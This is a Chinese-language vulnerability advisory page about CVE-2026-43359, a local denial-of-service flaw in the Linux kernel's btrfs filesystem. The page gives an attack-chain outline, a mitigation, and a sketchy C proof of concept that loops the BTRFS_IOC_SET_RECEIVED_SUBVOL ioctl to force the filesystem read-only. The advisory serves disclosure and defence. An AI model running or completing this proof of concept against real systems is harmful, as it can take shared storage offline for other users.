IPBUF安全漏洞报告
English
CVE-2026-43359 CVSS 5.5 中危

CVE-2026-43359 Linux内核btrfs拒绝服务漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43359
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernelbtrfs拒绝服务CVE-2026-43359本地提权DoS

漏洞概述

Linux内核btrfs模块存在漏洞,本地低权限用户通过大量调用特定ioctl触发元数据溢出,导致文件系统转为只读模式,造成拒绝服务。

技术细节

该漏洞源于btrfs文件系统在处理BTRFS_UUID_KEY_RECEIVED_SUBVOL项时的逻辑缺陷。当set received ioctl触发项溢出时,由于事务已启动且更新了元数据,系统必须中止事务并强制将文件系统置为只读状态。攻击者无需CAP_SYS_ADMIN权限,仅需拥有子卷权限,通过对大量子volume设置相同的接收UUID即可复现该漏洞。修复方式是在持有subvol_sem锁的情况下,在事务开始前进行溢出检查。

攻击链分析

STEP 1
步骤1
攻击者获取本地低权限用户访问权限,并拥有对btrfs子卷的所有权。
STEP 2
步骤2
攻击者编写恶意程序,针对大量子volume或特定结构调用BTRFS_IOC_SET_RECEIVED_SUBVOL ioctl。
STEP 3
步骤3
由于缺乏预检查,操作触发btrfs元数据项溢出。
STEP 4
步骤4
内核检测到溢出后中止当前事务,并将文件系统挂载为只读(RO)模式。
STEP 5
步骤5
系统因无法写入数据导致拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <fcntl.h> #include <sys/ioctl.h> #include <linux/btrfs.h> // This is a conceptual PoC for CVE-2026-43359 // Logic: Call BTRFS_IOC_SET_RECEIVED_SUBVOL repeatedly on many subvolumes // with the same UUID to trigger item overflow. int main() { int fd = open("/mnt/btrfs_subvol", O_RDONLY); if (fd < 0) return 1; struct btrfs_ioctl_received_subvol_args args; // Fill args with a specific UUID memset(&args, 0, sizeof(args)); // ... set args.uuid ... // Loop to trigger overflow for(int i=0; i<10000; i++) { // In a real scenario, this would target multiple subvolumes or // manipulate the filesystem structure to hit the limit. ioctl(fd, BTRFS_IOC_SET_RECEIVED_SUBVOL, &args); } close(fd); return 0; }

影响范围

Linux Kernel (Versions prior to fix commit 2e57b8cac2ba0d38aac76c1ecdfd8b899e3581a5)

防御指南

临时缓解措施
限制非管理员用户对btrfs子卷的访问权限,或在未打补丁前避免使用受影响的ioctl功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表